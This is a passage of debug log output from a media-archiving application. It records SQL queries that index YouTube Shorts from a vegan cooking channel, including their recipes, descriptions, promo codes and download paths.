#mushroomcoffee #adaptogens #brandambassador #coffeealternative #mushroomcoffeelover #adaptogeniccoffee #plantmilk #Bcorp", "The only gift I want this Valentine’s Day ☕️ ❤️", "0f4baeb3-3497-46f4-848a-6e4de2d260af", 1, [], false, "8ZgM-9wFB24", "https://www.youtube.com/shorts/8ZgM-9wFB24", 53, "/downloads/downloads/alec/Steamy Vegan/2025-01-27 The only gift I want this Valentine’s Day ☕️ ❤️/The only gift I want this Valentine’s Day ☕️ ❤️ [8ZgM-9wFB24].NA", false, false, true, 1, ~U[2025-01-27 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Looking for a non-lame Valentine’s gift that actually makes you feel good? 😍 Give yourself or someone special the gift of crash-free energy with no jitters ☕️\n\nUse my code STEAMYVEGAN to save 20% off my favourite adaptogenic coffee alternative JostArriba!\n🔗 https://eightbillion.com/steamyvegan\n\nPLUS it’s sustainable (compostable, reusable and recyclable packaging), which is a gift to the planet 🌎❤️ \n\n#somuchmorethancoffee #sustainable #sustainablevalentines #valentinesgift\n#steamyvegan #plantbased #yvrvegan #eightbillionplanet #jostarriba #mushroomcoffee #adaptogens #brandambassador #coffeealternative #mushroomcoffeelover #adaptogeniccoffee #plantmilk #Bcorp", "The only gift I want this Valentine’s Day ☕️ ❤️", 1, nil, false, "8ZgM-9wFB24", "https://www.youtube.com/shorts/8ZgM-9wFB24", "/downloads/downloads/alec/Steamy Vegan/2025-01-27 The only gift I want this Valentine’s Day ☕️ ❤️/The only gift I want this Valentine’s Day ☕️ ❤️ [8ZgM-9wFB24].NA", true, ~U[2025-01-27 00:00:00Z]] 20:31:09.147 [debug] QUERY OK source="sources" db=0.7ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.149 [debug] QUERY OK source="media_items" db=1.9ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-13 00:00:00Z], 1] 20:31:09.151 [debug] QUERY OK source="media_items" db=0.7ms idle=8.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This has to be the creamiest hummus I've ever made on the channel. With one very simple hack you can drastically improve the creaminess of your hummus. This vegan and gluten-free recipe is perfect for meal prep and was featured in my latest Lebanese meal prep episode on the channel: \u00A0\u00A0\u00A0•\u00A0Lebanese\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Recipes,...\u00A0\u00A0\n\nGet the full recipe and free printable PDF over on my channel in this video! Enjoy!", "Super creamy hack for hummus 🧊🤤", "3583e4b2-8754-4bd9-b417-75d31aef5bda", 1, [], false, "yGn9ACSUbFU", "https://www.youtube.com/shorts/yGn9ACSUbFU", 54, "/downloads/downloads/alec/Steamy Vegan/2024-11-13 Super creamy hack for hummus 🧊🤤/Super creamy hack for hummus 🧊🤤 [yGn9ACSUbFU].NA", false, false, true, 1, ~U[2024-11-13 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This has to be the creamiest hummus I've ever made on the channel. With one very simple hack you can drastically improve the creaminess of your hummus. This vegan and gluten-free recipe is perfect for meal prep and was featured in my latest Lebanese meal prep episode on the channel: \u00A0\u00A0\u00A0•\u00A0Lebanese\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Recipes,...\u00A0\u00A0\n\nGet the full recipe and free printable PDF over on my channel in this video! Enjoy!", "Super creamy hack for hummus 🧊🤤", 1, nil, false, "yGn9ACSUbFU", "https://www.youtube.com/shorts/yGn9ACSUbFU", "/downloads/downloads/alec/Steamy Vegan/2024-11-13 Super creamy hack for hummus 🧊🤤/Super creamy hack for hummus 🧊🤤 [yGn9ACSUbFU].NA", true, ~U[2024-11-13 00:00:00Z]] 20:31:09.151 [debug] QUERY OK source="sources" db=0.6ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.154 [debug] QUERY OK source="media_items" db=2.1ms idle=5.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-08 00:00:00Z], 1] 20:31:09.155 [debug] QUERY OK source="media_items" db=0.7ms idle=6.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This malfouf salad was part of my lebanese meal prep that I just posted on the channel. Malfouf salad is a crunchy cabbage salad, kind of like a coleslaw, with delicious middle eastern seasonings and a creamy dressing you'll love. \n\nHope you enjoy and check out the full meal prep live on the channel!", "Malfouf Cabbage Salad 🥬", "991958f1-16a0-4a28-b44f-a4411f941fbe", 1, [], false, "-_EK61WuMb8", "https://www.youtube.com/shorts/-_EK61WuMb8", 55, "/downloads/downloads/alec/Steamy Vegan/2024-11-08 Malfouf Cabbage Salad 🥬/Malfouf Cabbage Salad 🥬 [-_EK61WuMb8].NA", false, false, true, 1, ~U[2024-11-08 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This malfouf salad was part of my lebanese meal prep that I just posted on the channel. Malfouf salad is a crunchy cabbage salad, kind of like a coleslaw, with delicious middle eastern seasonings and a creamy dressing you'll love. \n\nHope you enjoy and check out the full meal prep live on the channel!", "Malfouf Cabbage Salad 🥬", 1, nil, false, "-_EK61WuMb8", "https://www.youtube.com/shorts/-_EK61WuMb8", "/downloads/downloads/alec/Steamy Vegan/2024-11-08 Malfouf Cabbage Salad 🥬/Malfouf Cabbage Salad 🥬 [-_EK61WuMb8].NA", true, ~U[2024-11-08 00:00:00Z]] 20:31:09.155 [debug] QUERY OK source="sources" db=0.4ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.158 [debug] QUERY OK source="media_items" db=2.4ms idle=4.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-05 00:00:00Z], 1] 20:31:09.159 [debug] QUERY OK source="media_items" db=0.8ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This mujadara lentil rice recipe is vegan, gluten-free and high protein from the lentils. Lebanese cuisine has so many great vegan recipes and I've put together 5 of my favourite in a full length meal prep video for you. Subscribe and check it out with the link below or head over to my channel.\n\n\u00A0\u00A0\u00A0•\u00A0Lebanese\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Recipes,...\u00A0\u00A0", "Mujadara Lentil Rice Recipe 🍚 🧅 🧄", "c8106d15-4ba6-4f89-8ca5-5ff39f379dd6", 1, [], false, "E2nH5p67xC8", "https://www.youtube.com/shorts/E2nH5p67xC8", 56, "/downloads/downloads/alec/Steamy Vegan/2024-11-05 Mujadara Lentil Rice Recipe 🍚 🧅 🧄/Mujadara Lentil Rice Recipe 🍚 🧅 🧄 [E2nH5p67xC8].NA", false, false, true, 1, ~U[2024-11-05 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This mujadara lentil rice recipe is vegan, gluten-free and high protein from the lentils. Lebanese cuisine has so many great vegan recipes and I've put together 5 of my favourite in a full length meal prep video for you. Subscribe and check it out with the link below or head over to my channel.\n\n\u00A0\u00A0\u00A0•\u00A0Lebanese\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Recipes,...\u00A0\u00A0", "Mujadara Lentil Rice Recipe 🍚 🧅 🧄", 1, nil, false, "E2nH5p67xC8", "https://www.youtube.com/shorts/E2nH5p67xC8", "/downloads/downloads/alec/Steamy Vegan/2024-11-05 Mujadara Lentil Rice Recipe 🍚 🧅 🧄/Mujadara Lentil Rice Recipe 🍚 🧅 🧄 [E2nH5p67xC8].NA", true, ~U[2024-11-05 00:00:00Z]] 20:31:09.160 [debug] QUERY OK source="sources" db=0.6ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.163 [debug] QUERY OK source="media_items" db=1.7ms idle=5.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-28 00:00:00Z], 1] 20:31:09.165 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=8.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These tofu crisps are the perfect soup topper for your next soup recipe. This vegan and gluten free recipe will add a crunchy texture to the top of any soup. They also make a great high-protein snack or can be used on top of salads, curries, or other dishes.\n\n1. Shred the block of tofu on the large hole side of of box grater into a large bowl. Toss with 1 tbsp oil, and 1 tsp each of cumin and smoked paprika, plus salt. Transfer to an air fryer in a single layer and air fry 15 to 20 mins at 375F", "This crunchy soup topper will 🆙 your🥫 game 🎯", "49f7ba8e-1868-4b9b-9b17-47fafcc7e0d4", 1, [], false, "0lhZVvsGeIk", "https://www.youtube.com/shorts/0lhZVvsGeIk", 57, "/downloads/downloads/alec/Steamy Vegan/2024-10-28 This crunchy soup topper will 🆙 your🥫 game 🎯/This crunchy soup topper will 🆙 your🥫 game 🎯 [0lhZVvsGeIk].NA", false, false, true, 1, ~U[2024-10-28 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "These tofu crisps are the perfect soup topper for your next soup recipe. This vegan and gluten free recipe will add a crunchy texture to the top of any soup. They also make a great high-protein snack or can be used on top of salads, curries, or other dishes.\n\n1. Shred the block of tofu on the large hole side of of box grater into a large bowl. Toss with 1 tbsp oil, and 1 tsp each of cumin and smoked paprika, plus salt. Transfer to an air fryer in a single layer and air fry 15 to 20 mins at 375F", "This crunchy soup topper will 🆙 your🥫 game 🎯", 1, nil, false, "0lhZVvsGeIk", "https://www.youtube.com/shorts/0lhZVvsGeIk", "/downloads/downloads/alec/Steamy Vegan/2024-10-28 This crunchy soup topper will 🆙 your🥫 game 🎯/This crunchy soup topper will 🆙 your🥫 game 🎯 [0lhZVvsGeIk].NA", true, ~U[2024-10-28 00:00:00Z]] 20:31:09.166 [debug] QUERY OK source="sources" db=0.7ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.169 [debug] QUERY OK source="media_items" db=3.0ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-27 00:00:00Z], 1] 20:31:09.172 [debug] QUERY OK source="media_items" db=1.7ms idle=9.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan shakshuka recipe is a unique and tasty way to start your day and is the perfect meal prep breakfast idea. Shakshuka is a very popular middle eastern breakfast recipe that typically has a cracked egg on top but I've veganized it by replacing that with my super popular tofu scramble recipe, which is linked below.\n\nSHAKSHUKA + TOFU SCRAMBLE + KASHA — 381 cal, 54g carb, 27g protein, 10g fat\n1 onion, diced\n3 cloves garlic, minced\n1 red bell pepper, chopped\n½ cup fresh chopped parsley\n1 tsp cumin\n½ tsp paprika\n½ tsp cardamom \n½ tsp salt\nPepper to taste\n1 x 28oz can diced tomatoes\n\nTofu Scramble recipe here ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0best\u00A0TOFU\u00A0SCRAMBLE\u00A0|\u00A0how\u00A0to\u00A0make\u00A0tofu\u00A0...\u00A0\u00A0", "Vegan Shakshuka Breadfast Recipe \uFFFC🌅 🥣", "8d6ca954-9049-424e-bbc4-7e466a3bcb5b", 1, [], false, "vgJsZdUt-rs", "https://www.youtube.com/shorts/vgJsZdUt-rs", 58, "/downloads/downloads/alec/Steamy Vegan/2024-10-27 Vegan Shakshuka Breadfast Recipe \uFFFC🌅 🥣/Vegan Shakshuka Breadfast Recipe \uFFFC🌅 🥣 [vgJsZdUt-rs].NA", false, false, true, 1, ~U[2024-10-27 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This vegan shakshuka recipe is a unique and tasty way to start your day and is the perfect meal prep breakfast idea. Shakshuka is a very popular middle eastern breakfast recipe that typically has a cracked egg on top but I've veganized it by replacing that with my super popular tofu scramble recipe, which is linked below.\n\nSHAKSHUKA + TOFU SCRAMBLE + KASHA — 381 cal, 54g carb, 27g protein, 10g fat\n1 onion, diced\n3 cloves garlic, minced\n1 red bell pepper, chopped\n½ cup fresh chopped parsley\n1 tsp cumin\n½ tsp paprika\n½ tsp cardamom \n½ tsp salt\nPepper to taste\n1 x 28oz can diced tomatoes\n\nTofu Scramble recipe here ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0best\u00A0TOFU\u00A0SCRAMBLE\u00A0|\u00A0how\u00A0to\u00A0make\u00A0tofu\u00A0...\u00A0\u00A0", "Vegan Shakshuka Breadfast Recipe \uFFFC🌅 🥣", 1, nil, false, "vgJsZdUt-rs", "https://www.youtube.com/shorts/vgJsZdUt-rs", "/downloads/downloads/alec/Steamy Vegan/2024-10-27 Vegan Shakshuka Breadfast Recipe \uFFFC🌅 🥣/Vegan Shakshuka Breadfast Recipe \uFFFC🌅 🥣 [vgJsZdUt-rs].NA", true, ~U[2024-10-27 00:00:00Z]] 20:31:09.173 [debug] QUERY OK source="sources" db=0.5ms idle=10.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.176 [debug] QUERY OK source="media_items" db=2.7ms idle=8.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-25 00:00:00Z], 1] 20:31:09.179 [debug] QUERY OK source="media_items" db=1.7ms idle=11.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These butternut squash breakfast burritos are the perfect vegan meal prep breakfast recipe. This is a comfort vegan recipe for fall that you'll love having each morning. Check out the full video for my classic breakfast burrito version as well! Enjoy!\n\nButternut Breakfast Burrito - Makes 2 (Double recipe to make 4)\n2 medium/large almond flour tortillas, or your preferred style of tortilla\n½ a large butternut squash\n1 tbsp finely chopped fresh rosemary\n¼ tsp dried ground sage\nSalt and pepper to taste\nCooking spray\nTofu scramble (recipe here ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0best\u00A0TOFU\u00A0SCRAMBLE\u00A0|\u00A0how\u00A0to\u00A0make\u00A0tofu\u00A0...\u00A0\u00A0)\nCanned pinto beans, drained and rinsed\nVegan cheddar cheese shreds\nChopped kale\nGreen chili salsa\n\n1. Preheat oven to 400°F. Peel and chop the butternut squash and transfer to a large sheet pan.\n2. Sprinkle over the rosemary, sage, salt and pepper and give a few sprays of cooking oil. Toss to combine and bake on the middle rack of the oven for 35 to 40 mins, or until the squash is fork tender and slightly golden around the edges.\n3. Let cool until just slightly warm. In each tortilla, add a sprinkle of vega cheese, a few spoonfuls of pinto beans, about ¼ cup of the butternut squash, a small handful of chopped kale, and a drizzle of salsa. Roll the wrap up into a burrito and then roll carefully into parchment paper, tucking the ends. \n4. Transfer to an airtight sealable container and store in the freezer for up to 3 months.\n\n* PROMO CODES/Products I Use*\nMy Fave Coffee: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code 'STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n\nMy Water Filter: SANTEVIA WATER FILTERS - Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\n\nMy Go-To Protein Powder: GOOD PROTEIN - Want to try my favourite vegan and gluten-free protein powder? Get 30% off your first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\n\nMy Hydroponic Indoor Garden: INDOOR GARDEN WORKS - Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Butternut Squash Breakfast Burrito 🌯", "475f391f-20db-41f9-b3d8-9b835c844525", 1, [], false, "0YFnDmxp3uI", "https://www.youtube.com/shorts/0YFnDmxp3uI", 59, "/downloads/downloads/alec/Steamy Vegan/2024-10-25 Butternut Squash Breakfast Burrito 🌯/Butternut Squash Breakfast Burrito 🌯 [0YFnDmxp3uI].NA", false, false, true, 1, ~U[2024-10-25 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "These butternut squash breakfast burritos are the perfect vegan meal prep breakfast recipe. This is a comfort vegan recipe for fall that you'll love having each morning. Check out the full video for my classic breakfast burrito version as well! Enjoy!\n\nButternut Breakfast Burrito - Makes 2 (Double recipe to make 4)\n2 medium/large almond flour tortillas, or your preferred style of tortilla\n½ a large butternut squash\n1 tbsp finely chopped fresh rosemary\n¼ tsp dried ground sage\nSalt and pepper to taste\nCooking spray\nTofu scramble (recipe here ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0best\u00A0TOFU\u00A0SCRAMBLE\u00A0|\u00A0how\u00A0to\u00A0make\u00A0tofu\u00A0...\u00A0\u00A0)\nCanned pinto beans, drained and rinsed\nVegan cheddar cheese shreds\nChopped kale\nGreen chili salsa\n\n1. Preheat oven to 400°F. Peel and chop the butternut squash and transfer to a large sheet pan.\n2. Sprinkle over the rosemary, sage, salt and pepper and give a few sprays of cooking oil. Toss to combine and bake on the middle rack of the oven for 35 to 40 mins, or until the squash is fork tender and slightly golden around the edges.\n3. Let cool until just slightly warm. In each tortilla, add a sprinkle of vega cheese, a few spoonfuls of pinto beans, about ¼ cup of the butternut squash, a small handful of chopped kale, and a drizzle of salsa. Roll the wrap up into a burrito and then roll carefully into parchment paper, tucking the ends. \n4. Transfer to an airtight sealable container and store in the freezer for up to 3 months.\n\n* PROMO CODES/Products I Use*\nMy Fave Coffee: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code 'STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n\nMy Water Filter: SANTEVIA WATER FILTERS - Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\n\nMy Go-To Protein Powder: GOOD PROTEIN - Want to try my favourite vegan and gluten-free protein powder? Get 30% off your first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\n\nMy Hydroponic Indoor Garden: INDOOR GARDEN WORKS - Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Butternut Squash Breakfast Burrito 🌯", 1, nil, false, "0YFnDmxp3uI", "https://www.youtube.com/shorts/0YFnDmxp3uI", "/downloads/downloads/alec/Steamy Vegan/2024-10-25 Butternut Squash Breakfast Burrito 🌯/Butternut Squash Breakfast Burrito 🌯 [0YFnDmxp3uI].NA", true, ~U[2024-10-25 00:00:00Z]] 20:31:09.180 [debug] QUERY OK source="sources" db=1.1ms idle=10.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.183 [debug] QUERY OK source="media_items" db=1.9ms queue=0.1ms idle=8.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-24 00:00:00Z], 1] 20:31:09.185 [debug] QUERY OK source="media_items" db=1.6ms idle=10.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan and gluten-free chocolate chai oatmeal can be be made in large batches for meal prep and is a healthier vegan breakfast recipe as it uses cacao instead of chocolate chips. This oatmeal mixes the flavours of chocolate and chai which come together to make this comfort breakfast recipe.\n\nChocolate Chai Oatmeal\n2½ cups rolled oats\n1½ cups soy milk unsweetened\n3 cups water\n¼ cup maple syrup\n3 tbsp cocoa powder\n1 teaspoon cinnamon\n½ teaspoon nutmeg\n¼ teaspoon cardamom\n¼ teaspoon allspice\n¼ teaspoon ginger\n¼ teaspoon ground cloves\n½ tsp salt\n\n1. Bring the water and soy milk to a low boil in a medium pot, then add all remaining ingredients and stir well to combine, ensuring no clumps of spices remain.\n2. Turn heat to medium-low and cook for 10 to 15 minutes, until thickened and the oats are cooked.\n3. Serve with sliced bananas and chopped walnuts and enjoy!", "Chocolate Chai Oatmeal 🍫 ☕️ 🥣", "e4fcba88-d40b-4c57-9a54-a5039e18c42b", 1, [], false, "i0otpTpuVb8", "https://www.youtube.com/shorts/i0otpTpuVb8", 60, "/downloads/downloads/alec/Steamy Vegan/2024-10-24 Chocolate Chai Oatmeal 🍫 ☕️ 🥣/Chocolate Chai Oatmeal 🍫 ☕️ 🥣 [i0otpTpuVb8].NA", false, false, true, 2, ~U[2024-10-24 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This vegan and gluten-free chocolate chai oatmeal can be be made in large batches for meal prep and is a healthier vegan breakfast recipe as it uses cacao instead of chocolate chips. This oatmeal mixes the flavours of chocolate and chai which come together to make this comfort breakfast recipe.\n\nChocolate Chai Oatmeal\n2½ cups rolled oats\n1½ cups soy milk unsweetened\n3 cups water\n¼ cup maple syrup\n3 tbsp cocoa powder\n1 teaspoon cinnamon\n½ teaspoon nutmeg\n¼ teaspoon cardamom\n¼ teaspoon allspice\n¼ teaspoon ginger\n¼ teaspoon ground cloves\n½ tsp salt\n\n1. Bring the water and soy milk to a low boil in a medium pot, then add all remaining ingredients and stir well to combine, ensuring no clumps of spices remain.\n2. Turn heat to medium-low and cook for 10 to 15 minutes, until thickened and the oats are cooked.\n3. Serve with sliced bananas and 